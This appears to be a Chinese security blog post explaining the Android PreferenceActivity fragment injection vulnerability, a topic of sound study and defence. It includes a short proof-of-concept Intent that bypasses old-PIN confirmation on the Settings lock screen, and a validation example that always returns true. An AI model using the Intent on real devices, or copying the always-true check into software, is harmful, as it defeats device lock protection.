这个月太忙,生活工作事情都是到了年关,好几个周末都无休了。想了半天不知道写啥,前段时间翻阅乌云的历史遗迹,对于这类注入问题,感觉应该加深一下印象,因此,在高铁上就拿这篇文章大部分都是转载 + 自我总结进行凑数了
参考文章
Fragment Injection漏洞杂谈 – 路人甲
Android框架攻击之Fragment注入
Android静态安全检测 -> Fragment注入攻击漏洞
Activity与fragment之间的传值:fragment的setArguments()和getArguments()
Fragment基础概念
Android Framework提供了android.preference.PreferenceActivity这个类来对preference进行展示,我们可以继承这个类来展示preference并进行扩展。基类中会接收Intent数据,并进行一定检查,其中两个比较重要:
PreferenceActivity.EXTRA_SHOW_FRAGMENT (':android:show_fragment')
PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (':android:show_fragment_arguments')
第一个extra域包含PreferenceActivity要动态加载的Fragment,Fragment也可以通过Fragment.getActivity这个函数来获取传进来的参数。PreferenceActivity会调用Fragment.instantiate来动态加载Fragment.这个函数通过反射来加载Fragment,并把它变成Fragment对象
第二个extra域包含传给该Fragment的参数,
其中最关键的逻辑代码在这里
mSinglePane = hidingHeaders || !onIsMultiPane();
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);
这是3.X到4.3中的所有版本的一个漏洞,太老了没啥用的,Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:
Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);
}
} else {
mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
final String state = savedInstanceState.getString(KEY_UI_STAGE);
if (state != null) {
mUiStage = Stage.valueOf(state);
updateStage(mUiStage);
}
}
如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:
Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);
startActivity(intent);
正常的密码修改流程是"设置"->“安全”->“屏幕锁定”->“确认你的PIN”,如所下图所示:
攻击之后变成
【1】isValidFragment(String fragmentName)
返回Boolean(子类应当重写这个方法,并对fragment进行校验判断)
这里直接return true一定是有问题的
public final class MyPreferenceActivity extends PreferenceActivity {
private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
//TODO 做合法性检查
return true;// 注意check,千万要注意
}
//添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行
protected boolean isValidFragment(String fragmentName) {
return doValidcheck(fragmentName);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
//在onCreate前就做合法性判断
String fragmentname = getIntent().getStringExtra(":android:show_fragment");
doValidcheck(fragmentname);
super.onCreate(savedInstanceState);
}
}
Fragment和Activity还有当前一般使用下面这种参数传递的方法,也是抄来的
写入方法:将bundle通过setArguments(bundle)方法设置进fragment:fragment.setArguments(bundle);
Fragment01 fragment01 = new Fragment01();
Bundle bundle = new Bundle();
bundle.putString("str","这是MainActivity传来的值~");
fragment01.setArguments(bundle);
读取方法 指定的对象,通过getArguments 进行读取
String str = (String)getArguments().get("str");
如果通过组件暴露,控制setArgument的参数,也能够进行攻击,属于攻击的另外一种形式
【1】java.lang.Object
【2】android.content.Context
【3】android.content.ContextWrapper
【4】android.view.ContextThemeWrapper
【5】android.app.Activity
【6】android.app.ListActivity
【7】android.preference.PreferenceActivity
综上所述,这个漏洞虽然修了,但是修复能力主要依赖于开发人员的能力问题,这类问题在新版本上,依然存在